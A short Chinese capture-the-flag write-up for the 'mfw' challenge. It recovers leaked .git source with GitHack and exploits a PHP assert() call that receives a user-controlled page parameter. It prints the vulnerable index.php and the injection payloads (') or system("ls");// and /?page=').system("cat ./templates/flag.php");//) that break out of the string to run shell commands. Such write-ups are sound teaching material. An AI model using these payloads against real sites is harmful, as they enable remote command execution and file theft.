mfw git泄露构造闭合

这题也挺有想法 第一次确实没有想到

首先我们可以扫出 git

然后

我们githack 泄露一下

然后我们看index.php代码

复制代码
<?php

if (isset($_GET['page'])) {
	$page = $_GET['page'];
} else {
	$page = "home";
}

$file = "templates/" . $page . ".php";

// I heard '..' is dangerous!
assert("strpos('$file', '..') === false") or die("Detected hacking attempt!");

// TODO: Make this look nice
assert("file_exists('$file')") or die("That file doesn't exist!");

问题代码出现在

复制代码
assert("strpos('$file', '..') === false") or die("Detected hacking attempt!");

这里的参数是可以闭合的 因为是可控的


我们构造 ')


assert("strpos('')', '..') === false") or die("Detected hacking attempt!");

然后我们可以在后面面接上其他php语句


这里有两个


').system("ls");//


或者

') or system("ls");//

最后payload

就是替换为cat即可

复制代码
/?page=').system("cat ./templates/flag.php");//
相关推荐
qq_4230195537 分钟前
git push 后 文件夹异常打不开
git·gitee
tonylua3 小时前
从神州22极限救援,看懂Git高级玩法
git
骑鱼过海的猫1235 小时前
【git】git学习记录
git·学习·elasticsearch
测试人社区—84167 小时前
Mocking与Stubbing在单元测试中的正确使用
人工智能·git·单元测试·自动化·bug·postman
milanyangbo11 小时前
像Git一样管理数据:深入解析数据库并发控制MVCC的实现
服务器·数据库·git·后端·mysql·架构·系统架构
猫头虎-人工智能11 小时前
openEuler远程批量部署实战 SSH VNC IPMI全流程解析
运维·git·开源·ssh·github·开放原子·开源软件
Cx330❀12 小时前
Git 基础操作通关指南:版本回退、撤销修改与文件删除深度解析
大数据·运维·服务器·git·算法·搜索引擎·面试
CaracalTiger12 小时前
在openEuler操作系统中多样性算力支持与性能压力测试操作
linux·运维·git·开源·开放原子·压力测试·开源软件
草莓熊Lotso13 小时前
企业级 Git 分支管理模型实战:从 Git Flow 到 DevOps 落地
运维·服务器·开发语言·c++·人工智能·git·devops
小王不爱笑1321 天前
gitignore基本使用+Git分支使用
git